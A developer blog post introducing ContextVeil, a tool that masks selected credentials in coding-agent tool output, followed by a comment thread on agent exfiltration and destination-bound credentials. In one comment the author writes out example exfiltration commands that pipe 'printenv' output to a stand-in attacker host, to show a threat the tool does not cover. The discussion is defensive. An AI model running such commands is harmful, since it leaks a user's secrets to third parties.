DEV Community

Cover image for Keeping credentials out of your coding agent’s model context
Daniel Schreiber
Daniel Schreiber

Posted on

Keeping credentials out of your coding agent’s model context

I always had a slightly bad feeling about the credentials my coding agent could access. Did I secure things enough? Probably not. But I also didn't want to cripple it by blocking access to files it needed to understand my project.

That left me doing nothing about it.

When I learned about hooks in coding agent harnesses, I wondered: could I let the agent read the files, but remove the secret values from the output before it reaches the model?

This became ContextVeil, a small, local, open-source tool.

Why

When debugging an application, reading .env.local can be quite useful. The model might need to know which database you connect to or whether a feature flag is enabled. But the API token next to these settings usually isn't needed.

Of course, credentials should generally live in a credential store. In practice, projects also have .env files, configuration files and environment variables containing secrets. And these are not necessarily limited to disposable development credentials.

I see this as sensible hygiene: if the model doesn't need the credential, why put it into its context? A value that never reaches the model cannot accidentally be repeated by it in a generated example or a response.

Let the command run

For example, Claude Code might run cat .env.local and receive:

DATABASE_URL=postgres://localhost/my_app
API_TOKEN=cv_example_canary_not_a_real_token
LOG_LEVEL=debug
Enter fullscreen mode Exit fullscreen mode

If you have selected API_TOKEN for protection, ContextVeil changes the supported tool result before it reaches the model:

DATABASE_URL=postgres://localhost/my_app
API_TOKEN=<SECRET:API_TOKEN>
LOG_LEVEL=debug
Enter fullscreen mode Exit fullscreen mode

The command still runs and the file is still read. Your application can still use the actual token. The model gets the remaining configuration and can see that an API token is configured.

This was the important part for me: I wanted something I would actually enable, without worrying about it refusing legitimate file reads or commands.

Smartness during setup

There are two parts to ContextVeil:

  1. During setup, heuristics suggest likely secrets from environment variables, .env files and supported configuration and credential files. You review the suggestions and choose what to protect.
  2. During agent use, ContextVeil reads the selected values and does literal search and replace in supported text headed to the model.

There is no runtime classifier deciding whether some arbitrary output looks suspicious. Matching is exact and deterministic, runs locally, and needs no network connection or additional model.

The configuration stores references, such as “the API_TOKEN entry in .env.local”, rather than copies of the credentials. When that file's value changes, ContextVeil picks it up on the next turn.

When you add credentials in new entries or files, rerun setup to include them.

Try it

ContextVeil supports Linux (including WSL) and macOS. Install it with:

curl -fsSL https://raw.githubusercontent.com/daniel-sc/contextveil/v1.0.0/install.sh | bash
Enter fullscreen mode Exit fullscreen mode

Then, from your project directory, run the interactive setup in your terminal:

contextveil setup
Enter fullscreen mode Exit fullscreen mode

Review the suggested sources and select your integration, e.g. Claude Code. Restart the agent and check the installation:

contextveil doctor
Enter fullscreen mode Exit fullscreen mode

Claude Code is the production-supported integration. Codex CLI, GitHub Copilot CLI and OpenCode are also available as experimental integrations. I personally use it with Codex and OpenCode. For Codex, approve the installed hook through /hooks or the Hooks need review screen before running the check.

Scope

ContextVeil reduces accidental exposure of selected, exact secret values. It does not sandbox the agent or prevent commands from using credentials directly, and transformed values such as Base64 are outside its matching scope. Coverage depends on the harness integration; see the support details.

If you've also been uneasy about credential access but reluctant to restrict your coding agent, give ContextVeil a try. I'd especially like feedback on the setup suggestions and whether it fits into your daily workflow. What would make you keep it enabled—or turn it off?

Top comments (7)

Collapse
 
mihai_leanzero profile image
Mihai Perdum •

This is a genuinely useful category of tool - exact match-and-replace beats a runtime classifier for something security-adjacent, deterministic over probabilistic is the right call here. One thing I'd want to know: does it catch things on the way out too, not just in? If the agent decides on its own to run something like curl -H "Authorization: Bearer $API_TOKEN" as a generated command, the token's already in the agent's own written output before any tool result comes back through the hook. Scrubbing results protects against accidental echo but not against the agent constructing a command that embeds the secret directly. We ran into a version of this building Sentinel Vault - full disclosure, that's ours - and ended up needing to gate at the command-construction boundary too, not just the read boundary. Curious if that's already covered by the hook point you're using or if it's a known gap.

Collapse
 
danielsc profile image
Daniel Schreiber •

Hi Mihai! This is explicitly out of scope - the agent might use secrets via tool calls but ContextVeil only makes sure these secrets do not land in the models context. So this explicitly does not prevent exfiltration to 3rd parties (printenv | curl -X badactor.io). This is intentional, as using secrets in tool calls might be needed (e.g. I want my agent to read remote logs). I'd even postulate, this is principally not cleanly solvable, either you block wanted tool calls, or you let things slip through..?

Collapse
 
mihai_leanzero profile image
Mihai Perdum •

Daniel, I don't think it's fully binary, though the version you're describing (block the call outright vs. let anything through) is. The middle ground I keep coming back to is gating on destination, not presence: a credential gets provisioned for a specific host, so let the tool call go through when it's constructing a request to that host, and block or flag it when it isn't. printenv | curl badactor.io fails that check even though it never touches the model's context, because badactor.io was never the destination the credential was issued for. The agent reading remote logs on the legitimate host still works.

That's more infrastructure than a context hook though - you need credential-to-destination binding at provisioning time, which ContextVeil's problem (keep it out of context at all) doesn't require. And it doesn't save you if the exfiltration target is a relay that looks like the legitimate host, or if the legitimate host itself is what's compromised. So "principally not cleanly solvable" still holds for that case - narrowing the surface isn't the same as closing it.

Thread Thread
 
danielsc profile image
Daniel Schreiber •

Totally agree that we should pragmatically close the gap as much as possible, even when acknowledging that 100% is not possible/feasible.
Your approach gates accidental exposure, but I’m not sure this is a realistic scenario for 3rd parties? Even a simple printenv | script-that-sends-input-to-badactor.sh circumvents it. But I’m not a security expert, so discount my misjudgments ;)

Thread Thread
 
mihai_leanzero profile image
Mihai Perdum •

Danielsc, that exact case is the one the destination check is built to catch, not the one it misses. printenv itself is invisible to the check, it never touches the network. But the moment that output leaves the box over a connection to badactor.io, that outbound call fails the binding check, because badactor.io was never the host the credential was provisioned for. It doesn't matter that the exfil went through a shell script instead of the model's own context, the check sits at the network boundary, not inside the context window. So it's not only accidental exposure, it covers a deliberate attempt through that channel too.

Where it actually does fall over is the case I named right after it: a relay dressed up to look like the legitimate host, or the legitimate host itself being the compromised party. Neither of those trips the check, because the destination genuinely matches what the credential was issued for. That's the part "not cleanly solvable" is still doing work on.

And you're right that none of this is free. Destination-gating only holds if credential-to-destination binding actually exists at provisioning time. Without that infrastructure it's just a good idea, not a control.

Thread Thread
 
danielsc profile image
Daniel Schreiber •

Ok now I understand - cool approach!!

Thread Thread
 
mihai_leanzero profile image
Mihai Perdum •

Daniel, before this thread settles, I owe a correction. In my first comment here I said we ran into this building Sentinel Vault - that's not accurate, Sentinel Vault doesn't touch credentials or command construction at all, it's an attachment-locking and classification app for Confluence. Wrong project name on my part. The destination-gating idea further down still stands on its own as a way to think about the problem, just not as something Sentinel Vault actually does.